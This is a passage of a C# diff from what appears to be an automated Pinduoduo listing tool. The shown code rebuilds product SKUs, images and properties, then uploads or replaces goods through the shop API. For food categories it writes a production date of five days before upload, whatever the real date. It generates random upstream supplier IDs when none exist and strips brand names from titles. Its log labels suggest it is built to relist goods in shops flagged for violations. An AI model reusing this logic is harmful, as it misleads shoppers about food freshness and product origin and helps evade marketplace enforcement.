PinduoduoApiGetProduct(Shop); + html = apix.GetRelation(r.goods_id.ToString()); + long upid = 0; + // 有获取到对应的上家id + if (html.Contains("out_goods_id") && html.Contains("out_goods_platform")) + upid = BaseRegex.GetLongJson(ref html, "out_goods_id"); + else + upid = Randomx.GetId(100000, 9999999) * (long)Randomx.GetId(10, 99999); + + string mustCode = ""; + var pb = new ProductCollectBase(); + string properties = UploadPinduoduoProperties.GetNew(r.cat_id, 0, ref pb, ref Shop, out mustCode); + if (upFlag) + { + + TaobaoProductBase us = new TaobaoProductBase(); + us.FromId = oldpid; + us.GoodsId = oldpid; + UploadPinduoduoDeleteSku upx = new UploadPinduoduoDeleteSku(Name, Shop, us, "", ""); + upx.pb = new ProductCollectBase(); + upx.pb.name = r.goods_name; + upx.pb.cat_id = r.cat_id; + upx.Cat1 = 0; + upx.MaxPrice = maxPriceNewx; + upx.MinPrice = minPriceNewx; + upx.NewUpId = upid; + upx.skus = "[" + skuString.Substring(1) + "]"; + foreach (KeyValuePair key in api.Data) + { + upx.Data.Add(key.Key, key.Value); + } + bool success = upx.GetNew(); + //if (api.Data.ContainsKey("skus")) + // api.Data.Remove("skus"); + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return; + html = api.UpdataNew(); + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(5000); + html = api.UpdataNew(); + Thread.Sleep(2000); + } + if (html.Contains("该类目商品不允许设置限购,请设置单次限量为999999")) + { + api.Data["buy_limit"] = "999999"; + api.Data["order_limit"] = "999999"; + html = api.UpdataNew(); + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(5000); + html = api.UpdataNew(); + Thread.Sleep(2000); + } + } + if (!string.IsNullOrEmpty(html) && html.Contains("\"error_msg\"")) + { + string error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + LogSave.Add("复活违规", "替换商品失败,原因:" + error_msg); + resur.Status = "替换商品失败:" + error_msg; + } + else + { + string goodsidx = BaseRegex.GetStringJson(ref html, "goods_id"); + LogSave.Add("复活违规", "替换商品成功:" + goodsidx); + resur.Status = "替换商品成功"; + string tempFile = "temp/resursame/" + Shop.ShopName + "edit.tjm"; + string temp = pid + "," + DateTime.Now.ToString("yyyy-MM-dd") + "\r\n"; + html = api.Relation(oldpid, upid, (int)(minPriceNewx * 0.96m), (int)(maxPriceNewx * 0.96m), 0, 0); + FileBase.AppendAllText(tempFile, temp); + } + } + else + { + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return; + html = api.AddNew(); + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(5000); + html = api.Add(); + Thread.Sleep(2000); + } + if (html.Contains("该类目商品不允许设置限购,请设置单次限量为999999")) + { + api.Data["buy_limit"] = "999999"; + api.Data["order_limit"] = "999999"; + html = api.UpdataNew(); + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(5000); + html = api.UpdataNew(); + Thread.Sleep(2000); + } + } + if (html.Contains("存在多余或重复输入") && !string.IsNullOrEmpty(mustCode)) + { + api.Data["goods_properties"] = "[" + mustCode.Substring(1) + "]"; + html = api.Add(); + } + if (!string.IsNullOrEmpty(html) && html.Contains("\"error_msg\"")) + { + string error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + LogSave.Add("复活违规", "新增商品失败,原因:" + error_msg); + resur.Status = "新增商品失败:" + error_msg; + } + else + { + resur.GoodId = BaseRegex.GetLongJson(ref html, "goods_id"); + html = api.Relation(resur.GoodId, upid, (int)(minPriceNewx * 0.96m), (int)(maxPriceNewx * 0.96m), 0, 0); + LogSave.Add("复活违规", "新增商品成功:" + resur.GoodId); + resur.Status = "新增商品成功"; + } + } + UploadPinduoduoMain.ProductResurTemp.Add(resur); + UploadPinduoduoMain.ProductResurVioTemp.Add(product); + } + + public void GetSysRes(long pid) + { + GetProductDetail ge = new GetProductDetail(Shop, ""); + var r = ge.Get(pid); + if (r == null) + return; + string skuApiStringNew = "", skuString = ""; + int maxPriceNewx = 0, minPriceNewx = 1000000; + for (int i = 0; i < r.sku_list.Count; i++) + { + string spec = ""; + for (int j = 0; j < r.sku_list[i].spec.Count; j++) + spec += "," + r.sku_list[i].spec[j].spec_id; + if (!string.IsNullOrEmpty(spec)) + spec = spec.Substring(1); + + string specStr = ""; + for (int j = 0; j < r.sku_list[i].spec.Count; j++) + { + specStr += ",{\"parent_name\":\"" + r.sku_list[i].spec[j].parent_name + "\",\"parent_id\":" + + r.sku_list[i].spec[j].parent_id + ",\"spec_name\":\"" + r.sku_list[i].spec[j].spec_name + "\",\"spec_id\":" + + r.sku_list[i].spec[j].spec_id + "}"; + } + specStr = "[" + specStr.Substring(1) + "]"; + + + skuString = ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity + + ",\"quantity_delta\":" + r.sku_list[i].limit_quantity + ",\"thumb_url\":\"\"," + + "\"multi_price\":" + r.sku_list[i].multi_price + ",\"price\":" + + r.sku_list[i].price + ",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn + "\",\"id\":0,\"spec\":" + + specStr + ",\"weight\":1000}"; + + + skuApiStringNew += ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity + + ",\"quantity_delta\":" + r.sku_list[i].limit_quantity + ",\"price\":\"" + r.sku_list[i].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku_list[i].multi_price + + "\",\"thumb_url\":\"" + r.sku_list[i].thumb_url + "\",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn + "\",\"quantity\":1,\"spec_id_list\":\"[" + spec + "]\"}"; + if (maxPriceNewx < r.sku_list[i].multi_price) + maxPriceNewx = r.sku_list[i].multi_price; + if (minPriceNewx > r.sku_list[i].multi_price) + minPriceNewx = r.sku_list[i].multi_price; + } + string addContent = ",\"fabric\":" + r.fabricx + ",\"fabric_content\":" + r.fabric_contentx; + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + r.cat_id = PinduoduoCatList.GetNewCat3(r.cat_id); + if (r.market_price >= maxPriceNewx * 5.0) + r.market_price = 2 * maxPriceNewx; + api.Data.Add("goods_id", pid.ToString()); + api.Data.Add("goods_name", BaseClass.SubCharLength(r.goods_name.Replace("✅", "").Replace("◆", ""), 60)); + api.Data.Add("goods_type", "1"); + api.Data.Add("goods_desc", r.goods_desc); + api.Data.Add("cat_id", r.cat_id.ToString()); + api.Data.Add("tiny_name", ""); + api.Data.Add("country_id", "0"); + api.Data.Add("market_price", r.market_price.ToString()); + api.Data.Add("is_pre_sale", "false"); + api.Data.Add("shipment_limit_second", "172800"); + api.Data.Add("cost_template_id", r.cost_template_id.ToString()); + api.Data.Add("customer_num", UploadPinduoduoMain.GroupCount.ToString());//团购人数 + if (!UploadPinduoduoMain.limitCount) + { + api.Data.Add("buy_limit", UploadPinduoduoMain.LimitBuy.ToString()); + api.Data.Add("order_limit", UploadPinduoduoMain.LimitBuy.ToString()); + } + api.Data.Add("is_refundable", "true"); + api.Data.Add("second_hand", "false"); + api.Data.Add("is_folt", "true"); + if (!string.IsNullOrEmpty(addContent)) + { + int fabric = BaseRegex.GetIntJson(ref addContent, "fabric"); + int fabric_content = BaseRegex.GetIntJson(ref addContent, "fabric_content"); + api.Data.Add("fabric", fabric.ToString()); + api.Data.Add("fabric_content", fabric_content.ToString()); + } + api.Data.Add("sku_list", "[" + skuApiStringNew.Substring(1) + "]"); + + api.Data.Add("out_goods_id", r.outer_goods_id); + api.Data.Add("hd_thumb_url", r.hd_thumb_url); + api.Data.Add("thumb_url", r.thumb_url); + api.Data.Add("image_url", r.image_url); + api.Data["goods_desc"] = r.goods_desc; + string goods_properties = ""; + for (int i = 0; i < r.goods_property_list.Count; i++) + { + var p = r.goods_property_list[i]; + goods_properties += ",{\"template_pid\":" + p.template_pid + ",\"vid\":" + p.vid + ",\"value\":\"" + p.vvalue + "\",\"value_unit\":\"" + p.punit + "\"}"; + } + if (!string.IsNullOrEmpty(goods_properties)) + api.Data.Add("goods_properties", "[" + goods_properties.Substring(1) + "]"); + + + + string imageString = ""; + + //构造carousel_gallery 轮播图 + string carousel_gallery = string.Empty; + if (r.carousel_gallery_list != null & r.carousel_gallery_list.Count > 0) + { + for (int i = 0; i < r.carousel_gallery_list.Count; i++) + { + carousel_gallery += ",\"" + r.carousel_gallery_list[i] + "\""; + imageString += ",{\"url\":\"" + r.carousel_gallery_list[i] + "\",\"width\":640,\"height\":640,\"type\":\"1\"}"; + } + } + if (!string.IsNullOrEmpty(carousel_gallery)) + carousel_gallery = carousel_gallery.Substring(1); + api.Data.Add("carousel_gallery", "[" + carousel_gallery + "]"); + + //构造detail_gallery商品详情图片 + string detail_gallery = ""; + for (int j = 0; j < r.detail_gallery_list.Count; j++) + { + if (r.detail_gallery_list.Count > 5 && j == 0 || r.detail_gallery_list.Count > 8 && j == r.detail_gallery_list.Count - 1)//不要第一张图和最后一张 + { + continue; + } + string urlImg = r.detail_gallery_list[j]; + if (!urlImg.StartsWith("http")) + urlImg = "http:" + urlImg; + string exe = Path.GetExtension(urlImg).ToLower(); + if (exe != ".jpeg" && exe != ".jpg" && exe != ".png") + continue; + + detail_gallery += ",\"" + urlImg + "\""; + imageString += ",{\"url\":\"" + urlImg + "\",\"width\":640,\"height\":640,\"type\":\"2\"}"; + } + if (!string.IsNullOrEmpty(detail_gallery)) + { + detail_gallery = detail_gallery.Substring(1); + } + api.Data.Add("detail_gallery", "[" + detail_gallery + "]"); + api.Data.Add("gallery", imageString.Substring(1)); + + if (",2,6586,6785,6883,6758,6536,6630,6398,".Contains("," + r.cat_id + ","))//食品 + { + api.Data.Add("shelf_life", "300"); + api.Data.Add("start_production_date", BaseClass.GetTime(DateTime.Now.AddDays(-5)).ToString()); + api.Data.Add("end_production_date", BaseClass.GetTime(DateTime.Now).ToString()); + } + + //string properties = UploadPinduoduoProperties.GetNew(r.cat_id, 0, ref pb, ref Shop, out mustCode); + + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return; + string html = api.UpdataNew(); + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(5000); + html = api.UpdataNew(); + Thread.Sleep(2000); + } + if (html.Contains("该类目商品不允许设置限购,请设置单次限量为999999")) + { + api.Data["buy_limit"] = "999999"; + api.Data["order_limit"] = "999999"; + html = api.UpdataNew(); + if (html.Contains("调用过于频繁")) + { + Thread.Sleep(5000); + html = api.UpdataNew(); + Thread.Sleep(2000); + } + } + if (!string.IsNullOrEmpty(html) && html.Contains("\"error_msg\"")) + { + string error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + LogSave.Add("同步库存", "更新商品失败,原因:" + error_msg); + //resur.Status = "替换商品失败:" + error_msg; + } + else + { + string goodsidx = BaseRegex.GetStringJson(ref html, "goods_id"); + LogSave.Add("同步库存", "更新商品成功:" + goodsidx); + //resur.Status = "更新商品成功"; + string tempFile = "temp/resursame/" + Shop.ShopName + "edit.tjm"; + string temp = pid + "," + DateTime.Now.ToString("yyyy-MM-dd") + "\r\n"; + api = new PinduoduoApiGetProduct(Shop); + long upid = 0; + int fromSite = 0; + if (upid == 0) + upid = Randomx.GetId(100000, 9999999) * (long)Randomx.GetId(10, 99999); + if (maxPriceNewx < 100000) + { + var minUpPrice = r.sku_list.Min(s => s.price); + var maxUpPrice = r.sku_list.Max(s => s.price); + var express_price = 0; + html = api.Relationx(pid, upid, (int)(minUpPrice * 100), (int)(maxUpPrice * 100), (int)(express_price * 100), fromSite); + if (!html.Contains("{\"is_success\":true")) + html = api.Relationx(pid, upid, (int)(minUpPrice * 100), (int)(maxUpPrice * 100), (int)(express_price * 100), fromSite); + + if (!html.Contains("{\"is_success\":true")) + product.Message = "同步商品关联失败!"; + } + } + //UploadPinduoduoMain.ProductResurTemp.Add(resur); + UploadPinduoduoMain.ProductResurVioTemp.Add(product); + } + + + //public void GetReplace() + //{ + // Shop.CanUpload = true; + // Shop.UpCount = 0; + // DateTime begen = DateTime.Now; + // List ts = new List(); + // new Thread(new DeleteRejectProduct(Shop).Get).Start(); + // UpPinduoduoProduct up = new UpPinduoduoProduct(Shop, Name); + // up.IniProp(Shop.MainCatId, Shop.Cookies); + // string[] fl = FileBase.ReadAllLines("temp/upsame/" + Shop.Name + "edit.tjm"); + // if (fl != null) + // { + // foreach (string s in fl) + // { + // if (string.IsNullOrEmpty(s) || !s.Contains(",")) + // continue; + // string[] li = s.Split(','); + // long id; + // if (li.Length != 2 || !long.TryParse(li[0], out id)) + // continue; + // DateTime dt = DateTime.Parse(li[1]); + // if (UpPinduoduoProduct.EditDayTemp.ContainsKey(id)) + // UpPinduoduoProduct.EditDayTemp[id] = dt; + // else + // UpPinduoduoProduct.EditDayTemp.Add(id, dt); + // } + // } + + // Shop.OnlineProduct.Sort((x,y)=>x.GoodsId.CompareTo(y.GoodsId)); + // while(UploadPinduoduoMain.LimitReplace && Shop.OnlineProduct.Count > UploadPinduoduoMain.ReplaceCount) + // { + // UploadPinduoduoMain.DeleteIds.Add(Shop.OnlineProduct[UploadPinduoduoMain.ReplaceCount].GoodsId); + // Shop.OnlineProduct.RemoveAt(UploadPinduoduoMain.ReplaceCount); + // } + // while (UploadPinduoduoMain.RunningReplace && Shop.CanUpload && Shop.OnlineProduct.Count>0 ) + // { + // var us = Shop.OnlineProduct[0]; + // Shop.OnlineProduct.RemoveAt(0); + // if(us==null) + // continue; + // if(UploadPinduoduoMain.NoNeerReplace && UpPinduoduoProduct.EditDayTemp.ContainsKey(us.GoodsId) && + // DateTime.Now.AddDays(-UpPinduoduoProduct.NoReplaceDay) > UpPinduoduoProduct.EditDayTemp[us.GoodsId]) + // { + // Thread.Sleep(100); + // us.Message = "最近更新不需替换"; + // UploadPinduoduoMain.ProductReplaceTemp.Add(us); + // } + + // TaobaoProductBase t = + // UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && (tb.MainCatId == us.MainCatId || "5,4,11,3,6,12,10".Contains(us.MainCatId.ToString())&& "5,4,11,3,6,12,10".Contains(tb.MainCatId.ToString()))); + // if (t == null) + // { + // if(begen.AddMinutes(3)>DateTime.Now) + // Thread.Sleep(100); + // us.Message = "无匹配数据"; + // LogSave.Add(Name, Shop.Name + " 等待数据中..."); + // UploadPinduoduoMain.ProductReplaceTemp.Add(us); + // continue; + // } + // t.Uped = true; + // UploadPinduoduoMain.ProductStock.Remove(t); + // if (Shop.ExpressId == 0) + // { + // Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId,Shop); + // if (Shop.ExpressId == 0) + // { + // Thread.Sleep(10000); + // Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + // } + // if (Shop.ExpressId == 0) + // { + // LogSave.Add(Name, "运费模板未找到"); + // Shop.Message = "请设置运费模板"; + // UploadPinduoduoMain.ShopReplaceTemp.Add(Shop); + // return; + // } + // } + + // var u = new UploadPinduoduoSet(Shop, Name, t); + // u.us = us; + // Threadx.ThreadListWait(ref ts, new Thread(u.Get), UploadPinduoduoMain.SingleThreadCount); + // Thread.Sleep(5000* UploadPinduoduoMain.SingleThreadCount); + // } + // Threadx.ThreadListWait(ref ts); + + //} + + + /// + /// 在违规店铺中替换 + /// + public void Get() + { + int top = FileBase.Exists("maxtop.ini") ? 50 : 30; + bool ok = CanUser(Shop); + if (BaseClass.UserVersion == 110) + { + ok = true; + } + if (!ok) + { + Shop.Message = "请先续费"; + UploadPinduoduoMain.ShopTemp.Add(Shop); + return; + } + if (!UploadPinduoduoMain.ShopTitles.ContainsKey(Shop.ShopName) && UploadPinduoduoMain.NoRepeat) + { + var p = new GetProductOnlineClass(Name, Shop); + p.ReplaceModel = true; + p.isOnline = true; + p.GetRepeatOnline(); + } + Shop.CanUpload = true; + Shop.UpCount = 0; + List ts = new List(); + int waitTimes = 0; + int maxCount = 0; + int loopPrexCount = 0; + UpPinduoduoProduct up = new UpPinduoduoProduct(Shop, Name); + up.IniProp(Shop.MainCatId, Shop.Cookies); + GetAllShopGoodsCount(); + bool first = true; + + while (UploadPinduoduoMain.upRunning && Shop.CanUpload) + { + TaobaoProductBase t = null; + try + { + if (Shop.Name.Contains("专营店")) + { + if (UploadPinduoduoMain.DesShop) + t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && tb.MainCatId != 0 && tb.ShopName != "" && tb.ShopName == Shop.ShopName && tb.MainCatId == Shop.MainCatId); + else + t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && tb.MainCatId != 0 && tb.MainCatId == Shop.MainCatId); + if (t == null && Shop.MainCatName.Split(',').Length > 1) + { + string[] catnames = Shop.MainCatName.Split(','); + for (int i = 0; i < catnames.Length; i++) + { + for (int j = 0; j < FromTitleToCat.MainCat.Count; j++) + { + if (FromTitleToCat.MainCat[j].Value2 == catnames[i].Replace("\"", "")) + { + int MainCatId = int.Parse(FromTitleToCat.MainCat[j].Key); + if (UploadPinduoduoMain.DesShop) + t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && tb.MainCatId != 0 && tb.ShopName != "" && tb.ShopName == Shop.ShopName && tb.MainCatId == MainCatId); + else + t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && tb.MainCatId != 0 && tb.MainCatId == MainCatId); + if (t != null) + break; + } + } + if (t != null) + break; + } + } + } + // 医药健康 + else if (Shop.MainCatId == 13) + { + t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && tb.MainCatId != 0 && + (tb.MainCatId == Shop.MainCatId && tb.MainCatId == 13)); + } + else + { + if (UploadPinduoduoMain.isCatType) + t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && tb.MainCatId != 0 && tb.MainCatId == Shop.MainCatId); + else if (UploadPinduoduoMain.DesShop) + t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && tb.ShopName != "" && tb.ShopName == Shop.ShopName && tb.MainCatId != 0 && + (tb.MainCatId == Shop.MainCatId || tb.MainCatId == 7 && Shop.SelectFood || tb.MainCatId == 13 && Shop.SelectMedicinal || !Shop.SelectFood && !Shop.SelectMedicinal && "2,5,4,11,3,6,12,10,14".Contains(tb.MainCatId.ToString()))); + //t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && + //(tb.MainCatId == Shop.MainCatId || tb.MainCatId == 7 && Shop.SelectFood || tb.MainCatId == 13 && Shop.SelectMedicinal || !Shop.SelectFood && !Shop.SelectMedicinal && "5,4,11,3,6,12,10".Contains(tb.MainCatId.ToString())) && (tb.ShopName == "" || tb.ShopName == Shop.ShopName)); + else + t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && tb.MainCatId != 0 && + (tb.MainCatId == Shop.MainCatId || tb.MainCatId == 7 && Shop.SelectFood || tb.MainCatId == 13 + && Shop.SelectMedicinal || !Shop.SelectFood && !Shop.SelectMedicinal + && "2,5,4,11,3,6,12,10,14".Contains(tb.MainCatId.ToString()) || ((Shop.MainCatId != 2 || Shop.MainCatId != 7 || Shop.MainCatId != 9 || Shop.MainCatId != 13) && "2,5,4,11,3,6,12,10,14".Contains(tb.MainCatId.ToString())))); + } + if (t == null) + { + waitTimes++; + if (waitTimes > 100) + return; + //if (Shop.APIMessage == "请先购买API再上传") + //{ + // LogSave.Add(Name, Shop.Name + " 请先购买API再上传"); + // if (waitTimes == 5) + // { + // Shop.Message = "请先购买API再上传"; + // GetShopLoginInfo.ShopTemp.Add(Shop); + // } + // continue; + //} + Thread.Sleep(1000); + LogSave.Add(Name, Shop.Name + " 等待数据中..."); + continue; + } + UploadPinduoduoMain.ProductStock.Remove(t); + if (UploadPinduoduoMain.ShopTitles.ContainsKey(Shop.ShopName) && + UploadPinduoduoMain.ShopTitles[Shop.ShopName].Contains(t.Titlte)) + { + continue; + } + if (!string.IsNullOrEmpty(t.ViPrice) && string.IsNullOrEmpty(t.ViPriceMaxMin)) + { + LogSave.Add(Name, Shop.Name + " 版本升级不支持老数据格式,请重新制作新格式数据,跳过 " + t.FromId + " "); + continue; + } + } + catch + { + LogSave.Add(Name, Shop.Name + " 获取等待数据中..."); + if (t == null) + continue; + } + try + { + if (Shop.UpFromIds.ContainsKey(t.FromId) && Shop.UpFromIds[t.FromId] > top) + { + t.FindTimes++; + if (t.FindTimes < 30) + { + UploadPinduoduoMain.ProductStock.Add(t); + } + LogSave.Add(Name, Shop.Name + " 遇到裂变数据,跳过 " + t.FromId + " 等待数据中..."); + Thread.Sleep(1000); + continue; + } + UploadPinduoduoMain.Delete(t.guid); + if (!Shop.UpFromIds.ContainsKey(t.FromId)) + Shop.UpFromIds.Add(t.FromId, 1); + else + Shop.UpFromIds[t.FromId]++; + } + catch + { + continue; + } + t.Uped = true; + if (Shop.ExpressId == 0) + { + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + Thread.Sleep(10000); + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + } + if (Shop.ExpressId == 0) + { + LogSave.Add(Name, "运费模板未找到"); + Shop.Message = "请设置运费模板"; + UploadPinduoduoMain.ShopTemp.Add(Shop); + return; + } + } + waitTimes = 0; + try + { + if (UploadPinduoduoMain.Irregularities && IrregularitiesWordFun(t.Titlte)) + { + bool ishas = false; + for (int i = 0; i < UploadPinduoduoMain.brandNameList.Count; i++) + { + if (t.Titlte.Contains(brandNameList[i])) + { + ishas = true; + break; + } + } + if (ishas) + { + LogSave.Add(Name, Shop.Name + " 遇到品牌数据,跳过 " + t.FromId + " 该产品..."); + Thread.Sleep(1000); + continue; + } + } + if (UploadPinduoduoMain.IrregularitiesWord) + { + foreach (string s in UploadPinduoduoMain.brandFilterNameList) + { + if (t.Titlte.Contains("【"))//移除【】和之间的数据 + { + string delStr=BaseRegex.GetMatchRegexString(ref t.Titlte, @"(【[\w\W]+?】)"); + t.Titlte = t.Titlte.Replace(delStr,""); + } + if (t.Titlte.Contains("["))//移除【】和之间的数据 + { + string delStr = BaseRegex.GetMatchRegexString(ref t.Titlte, @"([[\w\W]+?])"); + t.Titlte = t.Titlte.Replace(delStr, ""); + } + if (t.Titlte.Contains(s)) + t.Titlte = t.Titlte.Replace(s, ""); + } + } + } + catch + { + continue; + } + t.Titlte = t.Titlte.Replace("//", "").Replace("\\", "");//Replace("/", "") + maxCount++; + if (maxCount > UploadPinduoduoMain.MaxUpload) + return; + if (t.Titlte.Contains("预售") && UploadPinduoduoMain.isLogistics) + { + LogSave.Add(Name, Shop.Name + " 跳过预售商品 " + t.FromId); + continue; + } + try + { + string[] l = UploadPinduoduoMain.PreFixTitle.Split('\n'); + if (!string.IsNullOrEmpty(UploadPinduoduoMain.PreFixTitle)) + { + if (loopPrexCount >= l.Length) + { + loopPrexCount = 0; + } + if (!t.Titlte.Contains(l[loopPrexCount]) && UploadPinduoduoMain.fixName == "前缀") + { + t.Titlte = l[loopPrexCount].Replace("\r", "").Trim() + t.Titlte; + if (BaseClass.GetCharLength(t.Titlte) > 60) + t.Titlte = BaseClass.SubCharLength(t.Titlte, 60); + } + if (!t.Titlte.Contains(l[loopPrexCount]) && UploadPinduoduoMain.fixName == "后缀") + { + t.Titlte = t.Titlte + l[loopPrexCount].Replace("\r", "").Trim(); + if (BaseClass.GetCharLength(t.Titlte) > 60) + t.Titlte = BaseClass.SubCharLength(t.Titlte, 60); + } + } + loopPrexCount++; + } + catch + { + continue; + } + if (UploadPinduoduoMain.ShopTitles.ContainsKey(Shop.ShopName) && + UploadPinduoduoMain.ShopTitles[Shop.ShopName].Contains(t.Titlte)) + { + continue; + } + Threadx.ThreadListWait(ref ts, new Thread(new UploadPinduoduoSet(Shop, Name, t).Get), UploadPinduoduoMain.SingleThreadCount); + Thread.Sleep(3000); + if (first && UploadPinduoduoMain.SingleThreadCount > 1) + { + first = false; + Thread.Sleep(20 * 1000); + } + } + Threadx.ThreadListWait(ref ts); + } + /// + /// 在违规店铺中替换 + /// + public void Getsingle() + { + int top = FileBase.Exists("maxtop.ini") ? 50 : 30; + bool ok = CanUser(Shop); + if (!ok) + { + Shop.Message = "请先续费"; + UploadPinduoduoMain.ShopTemp.Add(Shop); + return; + } + List ProductStockSingle = new List(); + for (int i = 0; i < UploadPinduoduoMain.ProductStockTemp.Count; i++) + { + ProductStockSingle.Add(UploadPinduoduoMain.ProductStockTemp[i].Clone()); + } + + if (!UploadPinduoduoMain.ShopTitles.ContainsKey(Shop.ShopName) && UploadPinduoduoMain.NoRepeat) + { + var p = new GetProductOnlineClass(Name, Shop); + p.ReplaceModel = true; + p.isOnline = true; + p.GetRepeatOnline(); + } + Shop.CanUpload = true; + Shop.UpCount = 0; + List ts = new List(); + int waitTimes = 0; + int maxCount = 0; + int loopPrexCount = 0; + UpPinduoduoProduct up = new UpPinduoduoProduct(Shop, Name); + up.IniProp(Shop.MainCatId, Shop.Cookies); + GetAllShopGoodsCount(); + bool first = true; + while (UploadPinduoduoMain.upRunning && Shop.CanUpload) + { + TaobaoProductBase t = null; + try + { + if (Shop.Name.Contains("专营店")) + { + if (UploadPinduoduoMain.DesShop) + t = ProductStockSingle.Find(tb => tb != null && tb.ShopName != "" && tb.MainCatId != 0 && tb.ShopName == Shop.ShopName && tb.MainCatId == Shop.MainCatId); + else + t = ProductStockSingle.Find(tb => tb != null && tb.MainCatId != 0 && tb.MainCatId == Shop.MainCatId); + } + // 医药健康 + else if (Shop.MainCatId == 13) + { + t = ProductStockSingle.Find(tb => tb != null && tb.MainCatId != 0 && + (tb.MainCatId == Shop.MainCatId && tb.MainCatId == 13)); + } + else + { + if (UploadPinduoduoMain.isCatType) + t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && tb.MainCatId != 0 && tb.MainCatId == Shop.MainCatId); + else if (UploadPinduoduoMain.DesShop) + t = ProductStockSingle.Find(tb => tb != null && tb.ShopName != "" && tb.ShopName == Shop.ShopName && tb.MainCatId != 0 && + (tb.MainCatId == Shop.MainCatId || tb.MainCatId == 7 && Shop.SelectFood || tb.MainCatId == 13 && Shop.SelectMedicinal || !Shop.SelectFood && !Shop.SelectMedicinal && "2,5,4,11,3,6,12,10".Contains(tb.MainCatId.ToString()))); + //t = UploadPinduoduoMain.ProductStock.Find(tb => tb != null && !tb.Uped && + //(tb.MainCatId == Shop.MainCatId || tb.MainCatId == 7 && Shop.SelectFood || tb.MainCatId == 13 && Shop.SelectMedicinal || !Shop.SelectFood && !Shop.SelectMedicinal && "5,4,11,3,6,12,10".Contains(tb.MainCatId.ToString())) && (tb.ShopName == "" || tb.ShopName == Shop.ShopName)); + else + t = ProductStockSingle.Find(tb => tb != null && tb.MainCatId != 0 && + (tb.MainCatId == Shop.MainCatId || tb.MainCatId == 7 && Shop.SelectFood || tb.MainCatId == 13 && Shop.SelectMedicinal || !Shop.SelectFood && !Shop.SelectMedicinal && "2,5,4,11,3,6,12,10".Contains(tb.MainCatId.ToString()) || ((Shop.MainCatId != 2 || Shop.MainCatId != 7 || Shop.MainCatId != 9 || Shop.MainCatId != 13) && "2,5,4,11,3,6,12,10".Contains(tb.MainCatId.ToString())))); + } + if (t == null) + { + waitTimes++; + if (waitTimes > 100) + return; + Thread.Sleep(1000); + LogSave.Add(Name, Shop.Name + " 等待数据中..."); + continue; + } + if (UploadPinduoduoMain.ProductStock.Contains(t)) + UploadPinduoduoMain.ProductStock.Remove(t); + ProductStockSingle.Remove(t); + UploadPinduoduoMain.SingleCount = ProductStockSingle.Count; + if (UploadPinduoduoMain.ShopTitles.ContainsKey(Shop.ShopName) && + UploadPinduoduoMain.ShopTitles[Shop.ShopName].Contains(t.Titlte)) + { + continue; + } + if (!string.IsNullOrEmpty(t.ViPrice) && string.IsNullOrEmpty(t.ViPriceMaxMin)) + { + LogSave.Add(Name, Shop.Name + " 版本升级不支持老数据格式,请重新制作新格式数据,跳过 " + t.FromId + " "); + continue; + } + } + catch + { + LogSave.Add(Name, Shop.Name + " 获取等待数据中..."); + if (t == null) + continue; + } + try + { + if (Shop.UpFromIds.ContainsKey(t.FromId) && Shop.UpFromIds[t.FromId] > top) + { + t.FindTimes++; + if (t.FindTimes < 30) + { + UploadPinduoduoMain.ProductStock.Add(t); + } + LogSave.Add(Name, Shop.Name + " 遇到裂变数据,跳过 " + t.FromId + " 等待数据中..."); + Thread.Sleep(1000); + continue; + } + UploadPinduoduoMain.Delete(t.guid); + if (!Shop.UpFromIds.ContainsKey(t.FromId)) + Shop.UpFromIds.Add(t.FromId, 1); + else + Shop.UpFromIds[t.FromId]++; + } + catch + { + continue; + } + t.Uped = true; + if (Shop.ExpressId == 0) + { + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + if (Shop.ExpressId == 0) + { + Thread.Sleep(10000); + Shop.ExpressId = new UpdatePinduoduoExpressSet().GetFirst(Shop.Cookies, Shop.MallId, Shop); + } + if (Shop.ExpressId == 0) + { + LogSave.Add(Name, "运费模板未找到"); + Shop.Message = "请设置运费模板"; + UploadPinduoduoMain.ShopTemp.Add(Shop); + return; + } + } + waitTimes = 0; + try + { + if (UploadPinduoduoMain.Irregularities && IrregularitiesWordFun(t.Titlte)) 